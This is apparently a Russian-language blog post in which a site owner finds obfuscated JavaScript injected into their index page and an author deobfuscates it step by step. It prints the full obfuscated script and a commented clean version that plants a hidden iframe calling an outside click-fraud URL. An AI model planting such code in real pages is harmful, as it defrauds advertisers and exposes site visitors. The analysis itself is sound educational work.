Добрый день!
Подскажите, недавно в мой index был дописан код
function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.
iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383;
...(и много-много этого злокода)...
как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))
Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…
1. Форматирование кода
Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):
function zG(){};
tF=53186;
zG.prototype =
{
fK : function()
{
e="e";
this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');
var oN=new Date();
this.nU="";
},
v : function()
{
dF="";
wS=9383;
nB="nB";
var t=new Date();
var h='';
var m=new Date();
String.prototype.iH=function(d, o){return this.replace(d, o)};
var r=new Date();
tR="tR";
kQ=false;
gG=20573;
wJ=false;
zW="";
var c=function(){};
var y=window;
gN="gN";
this.yQ="yQ";
var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
var eK=new Date();
var hI="hI";
function jL(){};
var z = this;
var rN='';
var p=false;
var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";
function mT(){};
xH="";
this.u=false;
var f=document;
this.dX="dX";
this.hB="hB";
var jA=false;
var k =
{
vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''),
oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),
kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''),
fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''),
w : 's;rLcL'.iH(/[L;\{\(5]/g, ''),
xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '')
};
var rK='';
function hV(){};
var uI=function(){return 'uI'};
this.gC='';
var rP="";
var tZ=function(){return 'tZ'};
this.a="a";
var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
var kL=new Date();
i=39073;
this.fU="fU";
jO=false;
pW='';
var eY=5116;
try
{
rD="rD";
vC=false;
var fI=function(){};
var rU="rU";
this.q="q";
b="";
var bJ='';
nE(n,k.oU, yR("display%3A%20none"));
function dS(){};
rG=63044;
this.uK=false;
this.iB="iB";
nE(n,k.w, this.fK());
eU="eU";
this.pS='';
this.fR="";
var qA='';
qE="qE";
qL="";
f[k.xK][k.vM](n);
this.xL=54456;
this.hW="";
var bK=new Array();
this.iR="";
}
catch(g)
{
this.vB="";
tN='';
var eJ='';
var uD=new Array();
var rV=new Date();
var l=function(){};
this.lK='';
f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
this.hK=49925;
var iL=new Array();
hKH='';
this.uJ=61972;
this.cO="cO";
var s="s";
this.mG=53808;
y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')]
(
function()
{
this.cJ="cJ";
this.uR="";
var pO='';
vH=58151;
this.dSF='';
var sV="sV";
z.v();
var wH=34896;
var cM=new Date();
var yK=new Array();
var eYV=function(){};
this.kU="kU";
zT="";
},
368
);
zJ="";
var dXZ="dXZ";
}
qZ=19279;
this.vBG='';
var nM=new Date();
var tZZ=false;
var eE=new Date();
var hC=new Date();
function vO(){};
var wZ="";
function nE(n, j, dB)
{
this.bW='';
var fT=new Array();
n[k.fV](j,dB);
var iRP=function(){return 'iRP'};
tD="";
var kI=new Array();
}
this.xX='';
this.fX='';
var tQ=false;
dV=false;
}
};
var uY=new Array();
var cP=new zG();
this.dK="dK";
cP.v();
function gQ(){};
Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:
var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
Я увидел здесь слово unescape! Словно как на трехмерной картинке
Стало ясно, что делать дальше.
2. Чистка строк
Нахожу функцию чистки строки:
String.prototype.iH=function(d, o){return this.replace(d, o)};
Таким образом, запись:
'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');
означает, что из строки нужно выкинуть символы «Yj9\$\{».
'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'
И второй способ засорения строк, попроще:
window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";
Пробегаю по всем строковым константам и привожу их в порядок…
3. Удаление неиспользуемых функций и переменных
Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:
tF=53186;
gN="gN";
this.fQ='';
var oN=new Date();
kQ=false;
var c=function(){};
4. Устранение запутывающих переменных
Следующим шагом было распутывание конструкций такого вида:
Благодаря нехитрой таблице преобразований
y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}
они превращались во вполне читаемый код:
var n = document['createElement']('iframe');
5. Устранение запутывающих функций
Оставалось избавиться от пары функции:
fK : function()
{
return 'http://click-poisk.com/there/in.cgi?7';
}
function nE(n, j, dB)
{
n['setAttribute'](j,dB);
}
И можно читать код зловредного скрипта.
6. «что делается-то в коде»
Я прокомментировал каждую строчку:
// констркутор класса zG
function zG(){};
// класс zG, состоящий из единственной функции v()
zG.prototype =
{
v : function()
{
// создание iframe
var n = document['createElement']('iframe');
try
{
// iframe делается невидимым
n['setAttribute']('style', 'display: none');
// загружаемая iframe страница
n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7');
// подключение созданного iframe к документу
dokument['body']['appendChild'](n);
}
catch(g)
{
// если что-то пошло не так, в документ добавляется какая-то хрень
document['write']('xxK</body></html>');
// и менее, чем через полсекунды, попытка повторяется
window['setTimeout'](function(){this.v();}, 368);
}
}
};
// сооздание объекта и вызов его злой функции
var cP=new zG();
cP.v();
Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.
Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.

Recent Comments